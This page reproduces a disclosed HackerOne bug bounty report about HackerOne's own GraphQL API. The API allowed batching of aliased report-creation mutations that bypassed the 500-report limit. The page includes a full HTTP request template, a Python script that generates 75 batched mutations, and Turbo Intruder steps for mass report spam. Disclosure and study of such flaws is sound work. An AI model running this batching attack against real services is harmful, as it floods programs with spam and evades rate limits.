Skip to content
Business logic Disclosed report Intermediate

Ability to bulk submit reports via query named based batching

The GraphQL API allowed multiple report creation mutations to be batched in a single request, bypassing the intended limit of 500 reports. An attacker could use this to create thousands of reports in a short time, spamming a program.

0x999 Follow

Originally disclosed on HackerOne

Bounty$500 Low 3.8 View original
  • Triaged in 12 days
  • Fixed in 26 days
  • Paid in 12 days
  • Disclosed after 9 months

Summary: By taking advantage of query named based batching in graphql a malicious actor has the ability to create many reports in bulk(up to ~75+ reports in 1 request), in combination with turbo intruder this can be abused to create ~6400+ reports using ~100 requests in roughly 40 seconds which goes well above the intended limit which is 500 according to this report

Description:

Steps To Reproduce

  1. Paste the following request in BurpSuite -
POST /graphql HTTP/2
Host: hackerone.com
Cookie: {your-h1-cookie)
Content-Length: 1173
Sec-Ch-Ua: "Chromium";v="117", "Not;A=Brand";v="8"
X-Csrf-Token: {your-csrf-token}
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.63 Safari/537.36
Content-Type: application/json
X-Product-Feature: inbox
Accept: */*
X-Product-Area: reports
Sec-Ch-Ua-Platform: "Linux"
Origin: https://hackerone.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

{
"operationname": "CreateReport",
"variables":{
"team_handle":"{target-team-handle}",
"product_area":"reports",
"product_feature":"inbox"
},
  "query": "{your-generated-query}"
}
  1. Replace the Cookies, X-CSRF-Token with your own as well as the "{target-team-handle}" with the team handle you wish to create the reports on
  2. Use the python script that is included below to generate the query and replace {your-generated-query} in the request with the output
  3. Send the request to Turbo Intruder
  4. Use the race-single-packet-attack.py script
  5. Modify the loop to 100 iterations and start the attack
  6. Wait for the requests to go through
  7. Refresh H1 and you will see ~6400+ reports were created

Supporting Material/References (Screenshots)

Video POC:

  • ██████████

Generate mutation query:

Python
def generate_query(index):
    return (
        'example' + str(index) + ': createReport(input: {team_handle: $team_handle, '
        'title: "Your Report Title", vulnerability_information: "Vulnerability Information", '
        'impact: "Impact Description", source: "Report Source"}) { '
        'was_successful errors { edges { node { id error_code field message __typename } __typename } '
        '__typename } }'
    )
queries = []
for i in range(75):
    queries.append(generate_query(i))
main_mutation = (
    'mutation BulkReports($team_handle: String!) {\n  ' +
    '\n  '.join(queries) +
    '\n}'
)
print(repr(main_mutation).replace('"','\\"').replace("'",""))

Impact

By taking advantage of this bug a malicious actor is able to bypass the intended limitations that are applied to the report creation request allowing them to spam any program with a very large amount of reports.

The original report as published on HackerOne, by 0x999. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the GraphQL server did not enforce a limit on the number of mutations that could be batched in a single request, allowing the report creation rate limit to be bypassed.

Impact

An attacker could bypass the report creation limit and spam a program with a very large number of reports.

What the attacker needed

A HackerOne account; valid CSRF token and session cookie; target team handle

How it was found

  1. Capture the GraphQL request for creating a report.
  2. Replace the cookie, CSRF token, and team handle with your own values.
  3. Generate a batched mutation query using the provided script.
  4. Send the request to Turbo Intruder and use the race-single-packet-attack script.
  5. Modify the loop to 100 iterations and start the attack.
  6. Refresh HackerOne to see the created reports.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

GraphQL is a way for apps to ask a server for data. Normally, a server might limit how many reports you can create. Here, the server accepted many report-creation commands in one request, so the limit could be bypassed, letting someone flood a program with reports.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More by 0x999

View all

1 more disclosed report, best first.

More from HackerOne

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.